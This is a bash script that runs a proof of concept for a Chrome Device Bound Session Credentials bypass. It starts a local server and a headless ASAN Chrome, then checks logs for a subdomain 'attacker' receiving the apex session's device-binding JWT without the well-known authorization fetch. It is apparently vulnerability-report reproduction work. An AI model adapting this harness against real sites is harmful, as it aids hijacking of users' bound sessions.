#!/bin/bash
# DBSC subdomain well-known authorization bypass — Chrome runner.
#
# This launches the POC server and a desktop ASAN Chrome build configured to:
#   * resolve a.test / *.a.test to 127.0.0.1 (--host-resolver-rules)
#   * accept the POC's self-signed cert (--ignore-certificate-errors;
#     environment-only — in production attacker has a real cert for their
#     subdomain and apex already has one)
#   * enable DeviceBoundSessions (default-on for Windows; we're on Linux so we
#     pass the feature flag — environment accommodation, not a security gate)
#   * use software keys instead of TPM (the about:flags entry intended for
#     manual testing on TPM-less machines; does not change the bug logic)
#
# Proof-of-bypass is in server.log:
#   - POST a.test/open-redirect       (fetcher_endpoint_, registration JWT lands here)
#   - GET  attacker.a.test/dbsc       (attacker serves site-wide config)
#   - **NO** GET a.test/.well-known/device-bound-sessions   <-- the bypass
#   - POST attacker.a.test/refresh    (attacker receives device-binding JWT
#                                      for the a.test session)
set -e

DIR="$(cd "$(dirname "$0")" && pwd)"
CHROME="${CHROME:-/chromium/chromium/src/out/asan/chrome}"
PORT=8443
PROFILE=$(mktemp -d /tmp/chrome-dbsc-poc.XXXXXX)
NETLOG="$DIR/netlog.json"

cd "$DIR"
# Wait for any previous instance to release the port.
for i in $(seq 1 30); do
  python3 -c "import socket;s=socket.socket();s.setsockopt(1,2,1);s.bind(('0.0.0.0',$PORT));s.close()" 2>/dev/null && break
  sleep 0.5
done
rm -f server.log
python3 server.py 2>server.err &
SERVER_PID=$!
trap 'kill -9 $SERVER_PID 2>/dev/null; wait $SERVER_PID 2>/dev/null' EXIT
# Give the server a moment to bind and generate its cert.
for i in $(seq 1 50); do
  grep -q "Serving on" server.log 2>/dev/null && break
  sleep 0.2
done
sleep 0.5

echo "[*] Server PID $SERVER_PID, profile $PROFILE"
echo "[*] Launching Chrome..."

"$CHROME" \
  --no-first-run --no-default-browser-check --no-sandbox \
  --disable-gpu --headless=new \
  --disable-background-networking --disable-component-update \
  --disable-default-apps --disable-sync \
  --user-data-dir="$PROFILE" \
  --ignore-certificate-errors \
  --host-resolver-rules="MAP a.test 127.0.0.1,MAP *.a.test 127.0.0.1" \
  --enable-features=DeviceBoundSessions,EnableBoundSessionCredentialsSoftwareKeysForManualTesting \
  --log-net-log="$NETLOG" --net-log-capture-mode=Everything \
  "https://attacker.a.test:${PORT}/trigger" \
  > "$DIR/chrome.log" 2>&1 &
CHROME_PID=$!

# Registration is async (key gen + 2 requests). Then the page JS waits 5s,
# deletes the cookie, and fetches a.test/probe to force a refresh. Allow time.
sleep 20
kill -TERM $CHROME_PID 2>/dev/null || true
sleep 2
kill -KILL $CHROME_PID 2>/dev/null || true
kill -KILL $SERVER_PID 2>/dev/null || true
wait 2>/dev/null || true
trap - EXIT

echo
echo "================ server.log ================"
cat server.log
echo "============================================"
echo
echo "[*] Chrome stderr/stdout : $DIR/chrome.log"
echo "[*] NetLog               : $NETLOG"
echo
echo "================ DBSC NetLog events ================"
python3 - "$NETLOG" <<'PY'
import json,sys
d=json.load(open(sys.argv[1]))
ev={v:k for k,v in d['constants']['logEventTypes'].items()}
for e in d.get('events',[]):
    t=ev.get(e['type'],'')
    if 'DBSC' in t:
        print(t, json.dumps(e.get('params')))
PY
echo "===================================================="
echo

if grep -q "WAS FETCHED" server.log; then
  echo "[FAIL] well-known was fetched -> bypass did not work"
  exit 1
fi
if grep -q "/dbsc serving site-wide config" server.log; then
  echo "[OK] attacker.a.test served the site-wide session config"
else
  echo "[WARN] attacker.a.test/dbsc was never reached"
fi
if grep -q "open-redirect hit" server.log && ! grep -q "well-known" server.log; then
  echo "[OK] a.test/.well-known/device-bound-sessions was NEVER fetched -> BYPASS CONFIRMED"
fi
if grep -q "PWNED" server.log; then
  echo "[OK] attacker.a.test/refresh received the device-binding JWT"
fi
